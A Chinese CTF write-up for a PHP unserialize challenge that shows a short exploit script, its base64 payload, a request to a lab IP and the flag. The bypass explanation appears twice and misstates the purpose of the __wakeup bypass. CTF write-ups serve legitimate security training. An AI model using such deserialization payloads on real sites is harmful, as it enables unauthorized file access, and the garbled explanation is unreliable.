攻防世界---web---Web_php_unserialize

1、题目描述

2、

3、分析代码

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

4、根据代码中的提示,我们将fl4g.php进行base64编码后的值传给var,试着访问但是页面没有回显

5、根据题目我们需要进行序列化(代码引用这篇文章:攻防世界之Web_php_unserialize(超详细WP)_php unserialize-CSDN博客)

6、在源代码中我们需要绕过几个函数

<?php
class Demo { private $file = 'fl4g.php';
}
$a = serialize(new Demo);
$a = str_replace('O:4', 'O:+4',$a); //绕过preg_match()函数
$a = str_replace(':1:', ':2:',$a); //绕过__wakeup()函数
echo ($a);                  
?>

7、运行代码可以看到序列后的结果

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

将a的值进行编码

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 

8、

  1. class Demo { private $file = 'fl4g.php'; }:定义了一个名为Demo的类,该类有一个私有属性$file,默认值为fl4g.php

  2. $a = serialize(new Demo);:创建了一个Demo类的实例,并对其进行序列化,然后将序列化后的字符串赋值给变量$a

  3. $a = str_replace('O:4', 'O:+4',$a);:这行代码的目的是绕过preg_match('/[oc]:\d+:/i', $var)这样的正则表达式检查。原始的序列化字符串中,O:4表示的是一个对象,后面的数字4表示类名的长度。通过将4替换为+4,可以使正则表达式无法匹配,从而绕过检查。

  4. $a = str_replace(':1:', ':2:',$a);:这行代码的目的是绕过__wakeup()函数的检查。在__wakeup()函数中,如果$this->file的值不等于index.php,就会被重置为index.php。通过将序列化字符串中的:1:替换为:2:,可以使$this->file的值始终等于index.php,从而绕过检查。

  5. echo base64_encode($a);:最后,将修改后的序列化字符串进行Base64编码,然后输出。

 

9、访问url:61.147.171.105:65034/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

10、

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/339168.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【机器学习】基于OpenCV和TensorFlow的MobileNetV2模型的物种识别与个体相似度分析

在计算机视觉领域&#xff0c;物种识别和图像相似度比较是两个重要的研究方向。本文通过结合深度学习和图像处理技术&#xff0c;基于OpenCV和TensorFlow的MobileNetV2的预训练模型模&#xff0c;实现物种识别和个体相似度分析。本文详细介绍该实验过程并提供相关代码。 一、名…

eNSP学习——VRRP基础配置

目录 主要命令 原理概述 实验目的 实验内容 实验拓扑 实验编址 实验步骤 1、基本配置 2、部署OSPF网络 3、配置VRRP协议 4、验证VRRP主备切换 主要命令 //创建备份组 [R2]int g0/0/1 [R2-GigabitEthernet0/0/1]vrrp vrid 1 virtual-ip 192.168.1.254 //修改优先级 …

自动评论自动私信引流系统,自动化时代的挑战与机遇

随着科技的飞速发展&#xff0c;自动化技术已经渗透到我们生活的方方面面。从工业生产线上的机械臂到家庭中的智能助手&#xff0c;自动化不仅改变了我们的工作方式&#xff0c;也在重塑着社会的面貌。然而&#xff0c;在享受自动化带来的便利和效率的同时&#xff0c;我们也必…

Java实现对PDF、纵向、横向页面添加自定义水印功能

Java实现对PDF、纵向、横向页面添加自定义水印 效果图 -- 纵向 页面PDF使用到JAR Maven依赖版本效果图 -- 横向页面PDF 效果图 – 纵向 页面PDF 代码如下&#xff1a; 使用到JAR Maven依赖版本 <dependency><groupId>org.apache.pdfbox</groupId><artifa…

FLINK-窗口算子

参考资料 官方文档- WindowFlink中的时间和窗口之窗口 窗口 在流处理中&#xff0c;我们往往需要面对的是连续不断、无休无止的无界流&#xff0c;不可能等到所有所有数据都到齐了才开始处理。所以聚合计算其实只能针对当前已有的数据——之后再有数据到来&#xff0c;就需要继…

【计算机毕设】SpringBoot校园资料分享平台的设计与实现 - 源码免费(私信领取)

免费领取源码 &#xff5c; 项目完整可运行 &#xff5c; v&#xff1a;chengn7890 诚招源码校园代理&#xff01; 1. 研究目的 本项目旨在设计并实现一个基于SpringBoot的校园资料分享平台&#xff0c;以满足学生在学习过程中对资料分享和获取的需求。具体目标包括&#xff1a…

ServletContext

一、ServletContext对象简介 ServletContext 是应用上下文对象。每一个应用中只有一个 ServletContext 对象, 这个ServletContext 对象被所有Servlet所共享. 在 Servlet 规范中&#xff0c;一共有 4 个域对象。ServletContext 就是其中的一个。它也是 web 应用中最大的作用域&a…

装饰器,状态管理和if判断(HarmonyOS学习第六课)

Builder装饰器-自定义构建函数 前面介绍了如何创建一个自定义组件。该自定义组件内部UI结构固定&#xff0c;仅与使方法进行数据传递。ArkUI还提供了一种更轻量的UI 元素复用机制Builder&#xff0c;Builder 所装饰的函数遵循build( )函数语法规则&#xff0c;开发者可以将重…

飞书API(11):阿里云MaxCompute分区表入库

一、引入 前面入库阿里云 MaxCompute 的数据都是读取之后直接写入&#xff0c;保留数据最新的状态&#xff0c;如果我要保留历史的状态&#xff0c;怎么办呢&#xff1f;MaxCompute 表有一个分区功能&#xff0c;可以自行定义分区。我们可以使用 MaxCompute 表的分区功能&…

vue3-调用API实操-调用开源头像接口

文档部分 这边使用是开源的API 请求地址: &#xff1a;https://api.uomg.com/api/rand.avatar 返回格式 : json/images 请求方式: get/post 请求实例: https://api.uomg.com/api/rand.avatar?sort男&formatjson 请求参数 请求参数说明 名称必填类型说明sort否strin…

云原生架构案例分析_2.云原生技术助力某汽车公司数字化转型实践

名词解释&#xff1a; 互联网 在“互联网”模式下&#xff0c;我们仅仅把互联网看作是一种传播工具、传播手段、传播渠道和传播平台&#xff0c;对于互联网的应用大体上是在既有的运作逻辑的基础之上&#xff0c;把互联网作为延伸传媒影响力、价值和功能的一种延伸型工具&…

打造智能化未来:智能运维系统架构解析与应用实践

在数字化转型的大背景下&#xff0c;智能运维系统成为了企业提升效率、降低成本、增强安全性的关键利器。本文将深入探讨智能运维系统的技术架构&#xff0c;介绍其核心要素和应用实践&#xff0c;帮助读者全面了解智能运维系统的概念、优势和应用价值。 ### 1. 智能运维系统的…

【计算机毕设】基于SpringBoot的医院管理系统设计与实现 - 源码免费(私信领取)

免费领取源码 &#xff5c; 项目完整可运行 &#xff5c; v&#xff1a;chengn7890 诚招源码校园代理&#xff01; 1. 研究目的 本项目旨在设计并实现一个基于SpringBoot的医院管理系统&#xff0c;以提高医院管理效率&#xff0c;优化医疗服务流程&#xff0c;提升患者就诊体验…

软件定义汽车,通信连接世界 | 2024汽车软件与通信大会开幕

5月28日-30日&#xff0c;在江苏省工业和信息化厅、智能汽车安全技术全国重点实验室指导下&#xff0c;由中国中检所属中国汽车工程研究院股份有限公司&#xff08;下称&#xff1a;中国汽研&#xff09;主办&#xff0c;中汽院(江苏)汽车工程研究院有限公司承办的2024汽车软件…

学业辅导导师:文心一言智能体详细介绍和开发

一、前言 本期题目 开发方向&#xff1a;学习成长类 解读&#xff1a; AI技术在学习成长方向的应用正日益增多&#xff0c;本期赛题需围绕该方向开发智能体包括但不限于:作文辅导助手、个性化学习助手、考试助手、各垂类教育内容专家等 二、我的智能体&#xff1a;学业辅导…

SQL面试题练习 —— 波峰波谷

来源&#xff1a;字节今日头条 目录 1 题目2 建表语句3 题解 1 题目 有如下数据&#xff0c;记录每天每只股票的收盘价格&#xff0c;请查出每只股票的波峰和波谷的日期和价格&#xff1b; 波峰定义&#xff1a;股票价格高于前一天和后一天价格时为波峰 波谷定义&#xff1a;股…

带交互的卡尔曼滤滤波|一维滤波|源代码

背景 一维卡尔曼滤波的MATLAB例程&#xff0c;​背景为温度估计。 代码介绍 运行程序后&#xff0c;可以自己输入温度真实值&#xff1a; 以20℃为例&#xff0c;得到如下的估计值​&#xff1a; 滤波前的值和滤波后的值分别于期望值&#xff08;真实值&#xff09;作差…

python采集汽车价格数据

python采集汽车价格数据 一、项目简介二、完整代码一、项目简介 本次数据采集的目标是车主之家汽车价格数据,采集的流程包括寻找数据接口、发送请求获取响应、解析数据和持久化存储,先来看一下数据情况,完整代码附后: 二、完整代码 #输入请求页面url #返回html文档 imp…

el-date-picker的使用,及解决切换type时面板样式错乱问题

这里选择器的类型可以选择日月年和时间范围&#xff0c;根据类型不同&#xff0c;el-date-picker的面板也展示不同&#xff0c;但是会出现el-date-picker错位&#xff0c;或者面板位置和层级等问题。 源代码&#xff1a; <el-selectv-model"dateType"placeholder&…

6.3 Go 结构体(Struct)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…